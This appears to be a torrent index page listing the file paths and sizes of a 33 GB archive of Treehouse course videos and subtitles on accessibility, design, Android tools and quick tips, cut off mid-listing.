teamtreehouse

mp4   Hot:479   Size:33.21 GB   Created:2017-08-26 22:33:22   Update:2021-10-26 03:37:31  

Download link

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "Accessibility/1. Introduction/1. Getting Started/Getting Started.mp4", "length": 43097031}, {"path": "Accessibility/1. Introduction/1. Getting Started/Getting Started.srt", "length": 7477}, {"path": "Accessibility/1. Introduction/2. Why Accessibility?/Why Accessibility-.mp4", "length": 17781471}, {"path": "Accessibility/1. Introduction/2. Why Accessibility?/Why Accessibility-.srt", "length": 7548}, {"path": "Accessibility/1. Introduction/3. Vision - Part 1/Vision - Part 1.mp4", "length": 41521884}, {"path": "Accessibility/1. Introduction/3. Vision - Part 1/Vision - Part 1.srt", "length": 11159}, {"path": "Accessibility/1. Introduction/4. Vision - Part 2/Vision - Part 2.mp4", "length": 20323434}, {"path": "Accessibility/1. Introduction/4. Vision - Part 2/Vision - Part 2.srt", "length": 7474}, {"path": "Accessibility/1. Introduction/5. Hearing/Hearing.mp4", "length": 26984357}, {"path": "Accessibility/1. Introduction/5. Hearing/Hearing.srt", "length": 8125}, {"path": "Accessibility/1. Introduction/6. Mobility and Cognition/Mobility and Cognition.mp4", "length": 24073744}, {"path": "Accessibility/1. Introduction/6. Mobility and Cognition/Mobility and Cognition.srt", "length": 7039}, {"path": "Accessibility/2. Websites/1. Screen Readers/Screen Readers.mp4", "length": 12551691}, {"path": "Accessibility/2. Websites/1. Screen Readers/Screen Readers.srt", "length": 5501}, {"path": "Accessibility/2. Websites/2. Low Fidelity Mockups/Low Fidelity Mockups.mp4", "length": 11461169}, {"path": "Accessibility/2. Websites/2. Low Fidelity Mockups/Low Fidelity Mockups.srt", "length": 7940}, {"path": "Accessibility/2. Websites/3. HTML: Part 1/Accessibility-Websites.zip", "length": 134844}, {"path": "Accessibility/2. Websites/3. HTML: Part 1/HTML- Part 1.mp4", "length": 6704605}, {"path": "Accessibility/2. Websites/3. HTML: Part 1/HTML- Part 1.srt", "length": 5762}, {"path": "Accessibility/2. Websites/4. HTML: Part 2/Accessibility-Websites.zip", "length": 134844}, {"path": "Accessibility/2. Websites/4. HTML: Part 2/HTML- Part 2.mp4", "length": 7451981}, {"path": "Accessibility/2. Websites/4. HTML: Part 2/HTML- Part 2.srt", "length": 6368}, {"path": "Accessibility/2. Websites/5. CSS: Part 1/Accessibility-Websites.zip", "length": 134844}, {"path": "Accessibility/2. Websites/5. CSS: Part 1/CSS- Part 1.mp4", "length": 10383056}, {"path": "Accessibility/2. Websites/5. CSS: Part 1/CSS- Part 1.srt", "length": 10208}, {"path": "Accessibility/2. Websites/6. CSS: Part 2/Accessibility-Websites.zip", "length": 134844}, {"path": "Accessibility/2. Websites/6. CSS: Part 2/CSS- Part 2.mp4", "length": 6924104}, {"path": "Accessibility/2. Websites/6. CSS: Part 2/CSS- Part 2.srt", "length": 7409}, {"path": "Accessibility/2. Websites/7. CSS: Part 3/Accessibility-Websites.zip", "length": 134844}, {"path": "Accessibility/2. Websites/7. CSS: Part 3/CSS- Part 3.mp4", "length": 10851029}, {"path": "Accessibility/2. Websites/7. CSS: Part 3/CSS- Part 3.srt", "length": 9946}, {"path": "Accessibility/3. Web Apps/1. Forms/Accessibility-WebApps-Forms.zip", "length": 1678}, {"path": "Accessibility/3. Web Apps/1. Forms/Forms.mp4", "length": 7538762}, {"path": "Accessibility/3. Web Apps/1. Forms/Forms.srt", "length": 8441}, {"path": "Accessibility/3. Web Apps/2. Tables/Accessibility-WebApps-Tables.zip", "length": 1645}, {"path": "Accessibility/3. Web Apps/2. Tables/Tables.mp4", "length": 6334806}, {"path": "Accessibility/3. Web Apps/2. Tables/Tables.srt", "length": 7317}, {"path": "Accessibility/3. Web Apps/3. Charts and Graphs/Accessibility-WebApps-Graphs.zip", "length": 2631}, {"path": "Accessibility/3. Web Apps/3. Charts and Graphs/Charts and Graphs.mp4", "length": 7434897}, {"path": "Accessibility/3. Web Apps/3. Charts and Graphs/Charts and Graphs.srt", "length": 6998}, {"path": "Aesthetic Foundations/1. Elements/1. Line, Shape, and Form/Line, Shape, and Form.mp4", "length": 17097910}, {"path": "Aesthetic Foundations/1. Elements/1. Line, Shape, and Form/Line, Shape, and Form.srt", "length": 8361}, {"path": "Aesthetic Foundations/1. Elements/2. Space, Balance, and Unity/Space, Balance, and Unity.mp4", "length": 15278008}, {"path": "Aesthetic Foundations/1. Elements/2. Space, Balance, and Unity/Space, Balance, and Unity.srt", "length": 8364}, {"path": "Aesthetic Foundations/1. Elements/3. Color, Texture, and Value/Color, Texture, and Value.mp4", "length": 18155451}, {"path": "Aesthetic Foundations/1. Elements/3. Color, Texture, and Value/Color, Texture, and Value.srt", "length": 8352}, {"path": "Aesthetic Foundations/2. Principles/1. Harmony, Contrast, and Emphasis/Harmony, Contrast, and Emphasis.mp4", "length": 25201786}, {"path": "Aesthetic Foundations/2. Principles/1. Harmony, Contrast, and Emphasis/Harmony, Contrast, and Emphasis.srt", "length": 8516}, {"path": "Aesthetic Foundations/2. Principles/2. Repetition, Variety, and Scale/Repetition, Variety, and Scale.mp4", "length": 18368003}, {"path": "Aesthetic Foundations/2. Principles/2. Repetition, Variety, and Scale/Repetition, Variety, and Scale.srt", "length": 5724}, {"path": "Aesthetic Foundations/3. Color Theory/1. Background/Background.mp4", "length": 38032084}, {"path": "Aesthetic Foundations/3. Color Theory/1. Background/Background.srt", "length": 6817}, {"path": "Aesthetic Foundations/3. Color Theory/2. Hue, Saturation, and Lightness/Hue, Saturation, and Lightness.mp4", "length": 12563415}, {"path": "Aesthetic Foundations/3. Color Theory/2. Hue, Saturation, and Lightness/Hue, Saturation, and Lightness.srt", "length": 8257}, {"path": "Aesthetic Foundations/3. Color Theory/3. Color Mixing: Part 1/Color Mixing: Part 1.mp4", "length": 13490630}, {"path": "Aesthetic Foundations/3. Color Theory/3. Color Mixing: Part 1/Color Mixing: Part 1.srt", "length": 7663}, {"path": "Aesthetic Foundations/3. Color Theory/4. Color Mixing: Part 2/Color Mixing: Part 2.mp4", "length": 10679866}, {"path": "Aesthetic Foundations/3. Color Theory/4. Color Mixing: Part 2/Color Mixing: Part 2.srt", "length": 8081}, {"path": "Aesthetic Foundations/3. Color Theory/5. Color Meaning/Color Meaning.mp4", "length": 13345365}, {"path": "Aesthetic Foundations/3. Color Theory/5. Color Meaning/Color Meaning.srt", "length": 5314}, {"path": "Android Tools/1. Getting Started with Android Studio/1. What is Android Studio?/What is Android Studio?.mp4", "length": 31235499}, {"path": "Android Tools/1. Getting Started with Android Studio/1. What is Android Studio?/What is Android Studio?.srt", "length": 8822}, {"path": "Android Tools/1. Getting Started with Android Studio/2. Setting Up a Project in Android Studio/Setting Up a Project in Android Studio.mp4", "length": 23669199}, {"path": "Android Tools/1. Getting Started with Android Studio/2. Setting Up a Project in Android Studio/Setting Up a Project in Android Studio.srt", "length": 7970}, {"path": "Android Tools/1. Getting Started with Android Studio/3. The Android Studio Interface/The Android Studio Interface.mp4", "length": 10390747}, {"path": "Android Tools/1. Getting Started with Android Studio/3. The Android Studio Interface/The Android Studio Interface.srt", "length": 5477}, {"path": "Android Tools/1. Getting Started with Android Studio/4. What is Gradle?/What is Gradle?.mp4", "length": 10995268}, {"path": "Android Tools/1. Getting Started with Android Studio/4. What is Gradle?/What is Gradle?.srt", "length": 5353}, {"path": "Android Tools/1. Getting Started with Android Studio/5. Fragments and Layouts/Fragments and Layouts.mp4", "length": 15001077}, {"path": "Android Tools/1. Getting Started with Android Studio/5. Fragments and Layouts/Fragments and Layouts.srt", "length": 7575}, {"path": "Android Tools/1. Getting Started with Android Studio/6. Helpful Keyboard Shortcuts/Helpful Keyboard Shortcuts.mp4", "length": 22293341}, {"path": "Android Tools/1. Getting Started with Android Studio/6. Helpful Keyboard Shortcuts/Helpful Keyboard Shortcuts.srt", "length": 10233}, {"path": "Android Tools/1. Getting Started with Android Studio/7. Adding Parse as a Third-Party Library/Adding Parse as a Third-Party Library.mp4", "length": 17050567}, {"path": "Android Tools/1. Getting Started with Android Studio/7. Adding Parse as a Third-Party Library/Adding Parse as a Third-Party Library.srt", "length": 10152}, {"path": "Android Tools/1. Getting Started with Android Studio/8. Android SDK and Device Monitor/Android SDK and Device Monitor.mp4", "length": 6813332}, {"path": "Android Tools/1. Getting Started with Android Studio/8. Android SDK and Device Monitor/Android SDK and Device Monitor.srt", "length": 2253}, {"path": "Android Tools/1. Getting Started with Android Studio/9. Should You Use Android Studio?/Should You Use Android Studio?.mp4", "length": 9776427}, {"path": "Android Tools/1. Getting Started with Android Studio/9. Should You Use Android Studio?/Should You Use Android Studio?.srt", "length": 3089}, {"path": "Android Tools/2. Getting Started with Genymotion/1. What is Genymotion?/What is Genymotion?.mp4", "length": 13443166}, {"path": "Android Tools/2. Getting Started with Genymotion/1. What is Genymotion?/What is Genymotion?.srt", "length": 4790}, {"path": "Android Tools/2. Getting Started with Genymotion/2. Installing Genymotion/Installing Genymotion.mp4", "length": 9437994}, {"path": "Android Tools/2. Getting Started with Genymotion/2. Installing Genymotion/Installing Genymotion.srt", "length": 2542}, {"path": "Android Tools/2. Getting Started with Genymotion/3. Creating a Genymotion Emulator/Creating a Genymotion Emulator.mp4", "length": 25737467}, {"path": "Android Tools/2. Getting Started with Genymotion/3. Creating a Genymotion Emulator/Creating a Genymotion Emulator.srt", "length": 9796}, {"path": "Android Tools/2. Getting Started with Genymotion/4. Using a Genymotion Emulator/Using a Genymotion Emulator.mp4", "length": 21028870}, {"path": "Android Tools/2. Getting Started with Genymotion/4. Using a Genymotion Emulator/Using a Genymotion Emulator.srt", "length": 8261}, {"path": "Android Tools/3. Using Git for Android/1. Getting Started with Git for Android/Getting Started with Git for Android.mp4", "length": 29972056}, {"path": "Android Tools/3. Using Git for Android/1. Getting Started with Git for Android/Getting Started with Git for Android.srt", "length": 7235}, {"path": "Android Tools/3. Using Git for Android/2. Creating a New GitHub Project/Creating a New GitHub Project.mp4", "length": 12802929}, {"path": "Android Tools/3. Using Git for Android/2. Creating a New GitHub Project/Creating a New GitHub Project.srt", "length": 6004}, {"path": "Android Tools/3. Using Git for Android/3. Saving to a GitHub Repository/Saving to a GitHub Repository.mp4", "length": 10131446}, {"path": "Android Tools/3. Using Git for Android/3. Saving to a GitHub Repository/Saving to a GitHub Repository.srt", "length": 3690}, {"path": "Android Tools/3. Using Git for Android/4. Saving Project Changes to a Repository/Saving Project Changes to a Repository.mp4", "length": 21874888}, {"path": "Android Tools/3. Using Git for Android/4. Saving Project Changes to a Repository/Saving Project Changes to a Repository.srt", "length": 5925}, {"path": "Android Tools/3. Using Git for Android/5. Creating a New Repo with Android Studio/Creating a New Repo with Android Studio.mp4", "length": 7891590}, {"path": "Android Tools/3. Using Git for Android/5. Creating a New Repo with Android Studio/Creating a New Repo with Android Studio.srt", "length": 4295}, {"path": "Android Tools/3. Using Git for Android/6. Pulling Down GitHub Projects to Android Studio/Pulling Down GitHub Projects to Android Studio.mp4", "length": 21941140}, {"path": "Android Tools/3. Using Git for Android/6. Pulling Down GitHub Projects to Android Studio/Pulling Down GitHub Projects to Android Studio.srt", "length": 8956}, {"path": "Bonus/1. Treehouse Quick Tips/1. Successful Networking at Events/Successful Networking at Events.mp4", "length": 12703086}, {"path": "Bonus/1. Treehouse Quick Tips/1. Successful Networking at Events/Successful Networking at Events.srt", "length": 2907}, {"path": "Bonus/1. Treehouse Quick Tips/10. When Should I Test My Website?/When Should I Test My Website?.mp4", "length": 20613301}, {"path": "Bonus/1. Treehouse Quick Tips/10. When Should I Test My Website?/When Should I Test My Website?.srt", "length": 3437}, {"path": "Bonus/1. Treehouse Quick Tips/11. How to Install Gems in Ruby on Rails/How to Install Gems in Ruby on Rails.mp4", "length": 6199448}, {"path": "Bonus/1. Treehouse Quick Tips/11. How to Install Gems in Ruby on Rails/How to Install Gems in Ruby on Rails.srt", "length": 3113}, {"path": "Bonus/1. Treehouse Quick Tips/12. How to Use Social Media Logos on Your Website/How to Use Social Media Logos on Your Website .srt", "length": 3913}, {"path": "Bonus/1. Treehouse Quick Tips/12. How to Use Social Media Logos on Your Website/How to Use Social Media Logos on Your Website.mp4", "length": 22514046}, {"path": "Bonus/1. Treehouse Quick Tips/13. Saving SVG Files in Illustrator/Saving SVG Files in Illustrator.mp4", "length": 7387883}, {"path": "Bonus/1. Treehouse Quick Tips/13. Saving SVG Files in Illustrator/Saving SVG Files in Illustrator.srt", "length": 100}, {"path": "Bonus/1. Treehouse Quick Tips/14. How to Create a Thick to Thin Line in Illustrator/How to Create a Thick to Thin Line in Illustrator.mp4", "length": 17532190}, {"path": "Bonus/1. Treehouse Quick Tips/14. How to Create a Thick to Thin Line in Illustrator/How to Create a Thick to Thin Line in Illustrator.srt", "length": 100}, {"path": "Bonus/1. Treehouse Quick Tips/15. What is a has many :through association in Ruby on Rails?/What is a has many :through association in Ruby on Rails?.mp4", "length": 11548906}, {"path": "Bonus/1. Treehouse Quick Tips/15. What is a has many :through association in Ruby on Rails?/What is a has_many -through association in Ruby on Rails-.srt", "length": 7010}, {"path": "Bonus/1. Treehouse Quick Tips/16. Writing Code with jQuery/Writing Code in jQuery.mp4", "length": 10607645}, {"path": "Bonus/1. Treehouse Quick Tips/16. Writing Code with jQuery/Writing Code with jQuery.srt", "length": 3103}, {"path": "Bonus/1. Treehouse Quick Tips/17. Why Do I Need a Business Plan?/Why Do I Need a Business Plan?.mp4", "length": 37578}, {"path": "Bonus/1. Treehouse Quick Tips/17. Why Do I Need a Business Plan?/Why Do I Need a Business Plan?.srt", "length": 4622}, {"path": "Bonus/1. Treehouse Quick Tips/18. How to Shape Text Fields in Photoshop/How to Shape Text Fields in Photoshop.mp4", "length": 9856547}, {"path": "Bonus/1. Treehouse Quick Tips/18. How to Shape Text Fields in Photoshop/How to Shape Text Fields in Photoshop.srt", "length": 3109}, {"path": "Bonus/1. Treehouse Quick Tips/19. Firefox OS Web Apps/Firefox OS Web Apps.mp4", "length": 21775439}, {"path": "Bonus/1. Treehouse Quick Tips/19. Firefox OS Web Apps/Firefox OS Web Apps.srt", "length": 3756}, {"path": "Bonus/1. Treehouse Quick Tips/2. How to Do a Reverse Image Search/2. How to Do a Reverse Image Search.mp4", "length": 18410218}, {"path": "Bonus/1. Treehouse Quick Tips/2. How to Do a Reverse Image Search/How to Do a Reverse Image Search.srt", "length": 5311}, {"path": "Bonus/1. Treehouse Quick Tips/20. The Firefox OS Web Apps Manifest/The Firefox OS Web Apps Manifest.mp4", "length": 13355512}, {"path": "Bonus/1. Treehouse Quick Tips/20. The Firefox OS Web Apps Manifest/The Firefox OS Web Apps Manifest.srt", "length": 4339}, {"path": "Bonus/1. Treehouse Quick Tips/21. The Firefox OS Simulator/The Firefox OS Simulator.mp4", "length": 10541526}, {"path": "Bonus/1. Treehouse Quick Tips/21. The Firefox OS Simulator/The Firefox OS Simulator.srt", "length": 5610}, {"path": "Bonus/1. Treehouse Quick Tips/22. Web Standard Technologies in Firefox OS/Web Standard Technologies in Firefox OS.mp4", "length": 23497665}, {"path": "Bonus/1. Treehouse Quick Tips/22. Web Standard Technologies in Firefox OS/Web Standard Technologies in Firefox OS.srt", "length": 10447}, {"path": "Bonus/1. Treehouse Quick Tips/23. Xcode Tips and Tricks/Xcode Tips and Tricks.mp4", "length": 9845559}, {"path": "Bonus/1. Treehouse Quick Tips/23. Xcode Tips and Tricks/Xcode Tips and Tricks.srt", "length": 4159}, {"path": "Bonus/1. Treehouse Quick Tips/24. HTML5 Quick Start with Boilerplate/HTML5 Quick Start with Boilerplate.mp4", "length": 15283829}, {"path": "Bonus/1. Treehouse Quick Tips/24. HTML5 Quick Start with Boilerplate/HTML5 Quick Start with Boilerplate.srt", "length": 4814}, {"path": "Bonus/1. Treehouse Quick Tips/25. How to Create JavaScript Functions with Variable Arguments/How to Create JavaScript Functions with Variable Arguments.mp4", "length": 8853175}, {"path": "Bonus/1. Treehouse Quick Tips/25. How to Create JavaScript Functions with Variable Arguments/How to Create JavaScript Functions with Variable Arguments.srt", "length": 7926}, {"path": "Bonus/1. Treehouse Quick Tips/26. How to Use the each Method in Ruby on Rails/How to Use the each Method in Ruby on Rails.mp4", "length": 4668674}, {"path": "Bonus/1. Treehouse Quick Tips/26. How to Use the each Method in Ruby on Rails/How to Use the each Method in Ruby on Rails.srt", "length": 3257}, {"path": "Bonus/1. Treehouse Quick Tips/27. Customizing Permalinks in WordPress/Customizing Permalinks in WordPress.mp4", "length": 16278271}, {"path": "Bonus/1. Treehouse Quick Tips/27. Customizing Permalinks in WordPress/Customizing Permalinks in WordPress.srt", "length": 4870}, {"path": "Bonus/1. Treehouse Quick Tips/28. Displaying a Static Homepage in WordPress/Displaying a Static Homepage in WordPress.mp4", "length": 11551413}, {"path": "Bonus/1. Treehouse Quick Tips/28. Displaying a Static Homepage in WordPress/Displaying a Static Homepage in WordPress.srt", "length": 3892}, {"path": "Bonus/1. Treehouse Quick Tips/29. What is HTML5?/What is HTML5?.mp4", "length": 16163153}, {"path": "Bonus/1. Treehouse Quick Tips/29. What is HTML5?/What is HTML5?.srt", "length": 2697}, {"path": "Bonus/1. Treehouse Quick Tips/3. Git Stashing/Git Stashing.mp4", "length": 15245139}, {"path": "Bonus/1. Treehouse Quick Tips/3. Git Stashing/Git Stashing.srt", "length": 6456}, {"path": "Bonus/1. Treehouse Quick Tips/30. How to Create and Edit an .htaccess File/How to Create and Edit an .htaccess File.mp4", "length": 23120103}, {"path": "Bonus/1. Treehouse Quick Tips/30. How to Create and Edit an .htaccess File/How to Create and Edit an .htaccess File.srt", "length": 4955}, {"path": "Bonus/1. Treehouse Quick Tips/31. Learning the Adobe Illustrator Workspace/Learning the Adobe Illustrator Workspace.mp4", "length": 7323492}, {"path": "Bonus/1. Treehouse Quick Tips/31. Learning the Adobe Illustrator Workspace/Learning the Adobe Illustrator Workspace.srt", "length": 2747}, {"path": "Bonus/1. Treehouse Quick Tips/32. Using the Type Tool and Creating Outlines in Illustrator/Using the Type Tool and Creating Outlines in Illustrator.mp4", "length": 6538086}, {"path": "Bonus/1. Treehouse Quick Tips/32. Using the Type Tool and Creating Outlines in Illustrator/Using the Type Tool and Creating Outlines in Illustrator.srt", "length": 3309}, {"path": "Bonus/1. Treehouse Quick Tips/33. Creating Basic Shapes in Illustrator/Creating Basic Shapes in Illustrator.mp4", "length": 7543207}, {"path": "Bonus/1. Treehouse Quick Tips/33. Creating Basic Shapes in Illustrator/Creating Basic Shapes in Illustrator.srt", "length": 4820}, {"path": "Bonus/1. Treehouse Quick Tips/34. Aligning Objects in Illustrator/Aligning Objects in Illustrator.mp4", "length": 8336875}, {"path": "Bonus/1. Treehouse Quick Tips/34. Aligning Objects in Illustrator/Aligning Objects in Illustrator.srt", "length": 4986}, {"path": "Bonus/1. Treehouse Quick Tips/35. Learning the Basics of the Illustrator Pen Tool/Learning the Basics of the Illustrator Pen Tool.mp4", "length": 5234796}, {"path": "Bonus/1. Treehouse Quick Tips/35. Learning the Basics of the Illustrator Pen Tool/Learning the Basics of the Illustrator Pen Tool.srt", "length": 4180}, {"path": "Bonus/1. Treehouse Quick Tips/36. Creating a Registration Form in iOS/Creating a Registration Form in iOS.mp4", "length": 18454896}, {"path": "Bonus/1. Treehouse Quick Tips/36. Creating a Registration Form in iOS/Creating a Registration Form in iOS.srt", "length": 5246}, {"path": "Bonus/1. Treehouse Quick Tips/37. How to Use Household Objects to Create Texture in Photoshop/How to Use Household Objects to Create Texture in Photoshop.mp4", "length": 26693406}, {"path": "Bonus/1. Treehouse Quick Tips/37. How to Use Household Objects to Create Texture in Photoshop/How to Use Household Objects to Create Texture in Photoshop.srt", "length": 4596}, {"path": "Bonus/1. Treehouse Quick Tips/38. Testing Locations in the iPhone Simulator/Testing Locations in the iPhone Simulator.mp4", "length": 10326839}, {"path": "Bonus/1. Treehouse Quick Tips/38. Testing Locations in the iPhone Simulator/Testing Locations in the iPhone Simulator.srt", "length": 3256}, {"path": "Bonus/1. Treehouse Quick Tips/39. Getting Started with HTML/Getting Started with HTML.mp4", "length": 13167812}, {"path": "Bonus/1. Treehouse Quick Tips/39. Getting Started with HTML/Getting Started with HTML.srt", "length": 3669}, {"path": "Bonus/1. Treehouse Quick Tips/4. Running Tests in Ruby on Rails/Running Tests in Ruby on Rails.mp4", "length": 5010531}, {"path": "Bonus/1. Treehouse Quick Tips/4. Running Tests in Ruby on Rails/Running Tests in Ruby on Rails.srt", "length": 2207}, {"path": "Bonus/1. Treehouse Quick Tips/40. How to Edit HTML/How to Edit HTML.mp4", "length": 12935716}, {"path": "Bonus/1. Treehouse Quick Tips/40. How to Edit HTML/How to Edit HTML.srt", "length": 3103}, {"path": "Bonus/1. Treehouse Quick Tips/41. HTML Validation Tutorial/HTML Validation Tutorial.mp4", "length": 18632836}, {"path": "Bonus/1. Treehouse Quick Tips/41. HTML Validation Tutorial/HTML Validation Tutorial.srt", "length": 4223}, {"path": "Bonus/1. Treehouse Quick Tips/42. How to Load and Use Brushes and Patterns in Photoshop/How to Load and Use Brushes and Patterns in Photoshop.mp4", "length": 14401589}, {"path": "Bonus/1. Treehouse Quick Tips/42. How to Load and Use Brushes and Patterns in Photoshop/How to Load and Use Brushes and Patterns in Photoshop.srt", "length": 6311}, {"path": "Bonus/1. Treehouse Quick Tips/43. How to Achieve Pixel Hinting Perfection in Photoshop/How to Achieve Pixel Hinting Perfection in Photoshop.mp4", "length": 10623723}, {"path": "Bonus/1. Treehouse Quick Tips/43. How to Achieve Pixel Hinting Perfection in Photoshop/How to Achieve Pixel Hinting Perfection in Photoshop.srt", "length": 7069}, {"path": "Bonus/1. Treehouse Quick Tips/44. Android Text Input Modes and Keyboards/Android Text Input Modes and Keyboards.mp4", "length": 10209272}, {"path": "Bonus/1. Treehouse Quick Tips/44. Android Text Input Modes and Keyboards/Android Text Input Modes and Keyboards.srt", "length": 128}, {"path": "Bonus/1. Treehouse Quick Tips/45. Applying Normalize.css Browser Reset CSS/Applying Normalize.css Browser Reset CSS.mp4", "length": 9445356}, {"path": "Bonus/1. Treehouse Quick Tips/45. Applying Normalize.css Browser Reset CSS/Applying Normalize.css Browser Reset CSS.srt", "length": 4733}, {"path": "Bonus/1. Treehouse Quick Tips/46. Being Productive with the Pomodoro Technique/Being Productive with the Pomodoro Technique.mp4", "length": 19150711}, {"path": "Bonus/1. Treehouse Quick Tips/46. Being Productive with the Pomodoro Technique/Being Productive with the Pomodoro Technique.srt", "length": 3903}, {"path": "Bonus/1. Treehouse Quick Tips/47. Create a Timer in JavaScript/Create a Timer in JavaScript.mp4", "length": 7955975}, {"path": "Bonus/1. Treehouse Quick Tips/47. Create a Timer in JavaScript/Create a Timer in JavaScript.srt", "length": 129}, {"path": "Bonus/1. Treehouse Quick Tips/48. CSS Box Shadows/CSS Box Shadows.mp4", "length": 6371913}, {"path": "Bonus/1. Treehouse Quick Tips/48. CSS Box Shadows/CSS Box Shadows.srt", "length": 2115}, {"path": "Bonus/1. Treehouse Quick Tips/49. Effective Customer Service/Effective Customer Service.mp4", "length": 16023666}, {"path": "Bonus/1. Treehouse Quick Tips/49. Effective Customer Service/Effective Customer Service.srt", "length": 3586}, {"path": "Bonus/1. Treehouse Quick Tips/5. How to Apply for a Design Job/How to Apply for a Design Job.mp4", "length": 23703240}, {"path": "Bonus/1. Treehouse Quick Tips/5. How to Apply for a Design Job/How to Apply for a Design Job.srt", "length": 4578}, {"path": "Bonus/1. Treehouse Quick Tips/50. Effective Marketing Calls to Action/Effective Marketing Calls to Action.mp4", "length": 13774312}, {"path": "Bonus/1. Treehouse Quick Tips/50. Effective Marketing Calls to Action/Effective Marketing Calls to Action.srt", "length": 126}, {"path": "Bonus/1. Treehouse Quick Tips/51. Full Page Background Images with CSS/Full Page Background Images with CSS.mp4", "length": 5915792}, {"path": "Bonus/1. Treehouse Quick Tips/51. Full Page Background Images with CSS/Full Page Background Images with CSS.srt", "length": 2661}, {"path": "Bonus/1. Treehouse Quick Tips/52. Getting Started with Android Development/Getting Started with Android Development.mp4", "length": 18528355}, {"path": "Bonus/1. Treehouse Quick Tips/52. Getting Started with Android Development/Getting Started with Android Development.srt", "length": 9670}, {"path": "Bonus/1. Treehouse Quick Tips/53. How to Create an Animated Button in iOS/How to Create an Animated Button in iOS.mp4", "length": 15484421}, {"path": "Bonus/1. Treehouse Quick Tips/53. How to Create an Animated Button in iOS/How to Create an Animated Button in iOS.srt", "length": 5219}, {"path": "Bonus/1. Treehouse Quick Tips/54. How to Use the Logger in Ruby on Rails/How to Use the Logger in Ruby on Rails.mp4", "length": 15847778}, {"path": "Bonus/1. Treehouse Quick Tips/54. How to Use the Logger in Ruby on Rails/How to Use the Logger in Ruby on Rails.srt", "length": 5817}, {"path": "Bonus/1. Treehouse Quick Tips/55. How to Use the Splice in Ruby on Rails/How to Use the Splice in Ruby on Rails.mp4", "length": 6366210}, {"path": "Bonus/1. Treehouse Quick Tips/55. How to Use the Splice in Ruby on Rails/How to Use the Splice in Ruby on Rails.srt", "length": 136}, {"path": "Bonus/1. Treehouse Quick Tips/56. HSLa Color Values in CSS/HSLa Color Values in CSS.mp4", "length": 7353300}, {"path": "Bonus/1. Treehouse Quick Tips/56. HSLa Color Values in CSS/HSLa Color Values in CSS.srt", "length": 752}, {"path": "Bonus/1. Treehouse Quick Tips/57. Logging Into Your Virtual Server for the First Time Using Mac OS X/Logging Into Your Virtual Server for the First Time Using Mac OS X.mp4", "length": 5713905}, {"path": "Bonus/1. Treehouse Quick Tips/57. Logging Into Your Virtual Server for the First Time Using Mac OS X/Logging Into Your Virtual Server for the First Time Using Mac OS X.srt", "length": 167}, {"path": "Bonus/1. Treehouse Quick Tips/58. Logging Into Your Virtual Server for the First Time Using PuTTY for Windows/Logging Into Your Virtual Server for the First Time Using PuTTY for Windows.mp4", "length": 5926625}, {"path": "Bonus/1. Treehouse Quick Tips/58. Logging Into Your Virtual Server for the First Time Using PuTTY for Windows/Logging Into Your Virtual Server for the First Time Using PuTTY for Windows.srt", "length": 165}, {"path": "Bonus/1. Treehouse Quick Tips/59. Multiple Background Images with CSS/Multiple Background Images with CSS.mp4", "length": 7186153}, {"path": "Bonus/1. Treehouse Quick Tips/59. Multiple Background Images with CSS/Multiple Background Images with CSS.srt", "length": 3455}, {"path": "Bonus/1. Treehouse Quick Tips/6. Smooth Scrolling in jQuery/Smooth Scrolling in jQuery.mp4", "length": 8450140}, {"path": "Bonus/1. Treehouse Quick Tips/6. Smooth Scrolling in jQuery/Smooth Scrolling in jQuery.srt", "length": 3274}, {"path": "Bonus/1. Treehouse Quick Tips/60. Prototyping an iOS App with Storyboards/Prototyping an iOS App with Storyboards.mp4", "length": 13522842}, {"path": "Bonus/1. Treehouse Quick Tips/60. Prototyping an iOS App with Storyboards/Prototyping an iOS App with Storyboards.srt", "length": 126}, {"path": "Bonus/1. Treehouse Quick Tips/61. Setting the Hostname and Timezone of Your Virtual Server/Setting the Hostname and Timezone of Your Virtual Server.mp4", "length": 7742788}, {"path": "Bonus/1. Treehouse Quick Tips/61. Setting the Hostname and Timezone of Your Virtual Server/Setting the Hostname and Timezone of Your Virtual Server.srt", "length": 122}, {"path": "Bonus/1. Treehouse Quick Tips/62. Sharing Data Between Apps in Android/Sharing Data Between Apps in Android.mp4", "length": 19938318}, {"path": "Bonus/1. Treehouse Quick Tips/62. Sharing Data Between Apps in Android/Sharing Data Between Apps in Android.srt", "length": 146}, {"path": "Bonus/1. Treehouse Quick Tips/63. Signing Up & Selecting a Data Center for your Virtual Server/Signing Up & Selecting a Data Center for your Virtual Server.mp4", "length": 14403644}, {"path": "Bonus/1. Treehouse Quick Tips/63. Signing Up & Selecting a Data Center for your Virtual Server/Signing Up & Selecting a Data Center for your Virtual Server.srt", "length": 5705}, {"path": "Bonus/1. Treehouse Quick Tips/64. SMART Goal Setting/SMART Goal Setting.mp4", "length": 24512260}, {"path": "Bonus/1. Treehouse Quick Tips/64. SMART Goal Setting/SMART Goal Setting.srt", "length": 5606}, {"path": "Bonus/1. Treehouse Quick Tips/65. Start a New Activity in an Android App/Start a New Activity in an Android App.mp4", "length": 15362464}, {"path": "Bonus/1. Treehouse Quick Tips/65. Start a New Activity in an Android App/Start a New Activity in an Android App.srt", "length": 7071}, {"path": "Bonus/1. Treehouse Quick Tips/66. What's the Difference Between Fixed, Fluid, Adaptive, and Responsive Design?/What's the Difference Between Fixed, Fluid, Adaptive, and Responsive Design?.mp4", "length": 7677166}, {"path": "Bonus/1. Treehouse Quick Tips/66. What's the Difference Between Fixed, Fluid, Adaptive, and Responsive Design?/What's the Difference Between Fixed, Fluid, Adaptive, and Responsive Design?.srt", "length": 2512}, {"path": "Bonus/1. Treehouse Quick Tips/67. Android App Themes/Android App Themes.mp4", "length": 11365755}, {"path": "Bonus/1. Treehouse Quick Tips/67. Android App Themes/Android App Themes.srt", "length": 7999}, {"path": "Bonus/1. Treehouse Quick Tips/68. Why Use Responsive Web Design?/Why Use Responsive Web Design?.mp4", "length": 18468172}, {"path": "Bonus/1. Treehouse Quick Tips/68. Why Use Responsive Web Design?/Why Use Responsive Web Design?.srt", "length": 4174}, {"path": "Bonus/1. Treehouse Quick Tips/7. Using Select2 with Ruby on Rails/Using Select2 with Ruby on Rails.mp4", "length": 28999457}, {"path": "Bonus/1. Treehouse Quick Tips/7. Using Select2 with Ruby on Rails/Using Select2 with Ruby on Rails.srt", "length": 100}, {"path": "Bonus/1. Treehouse Quick Tips/8. Blogging for Freelancers and Businesses/Blogging for Freelancers and Businesses.mp4", "length": 19427823}, {"path": "Bonus/1. Treehouse Quick Tips/8. Blogging for Freelancers and Businesses/Blogging for Freelancers and Businesses.srt", "length": 3095}, {"path": "Bonus/1. Treehouse Quick 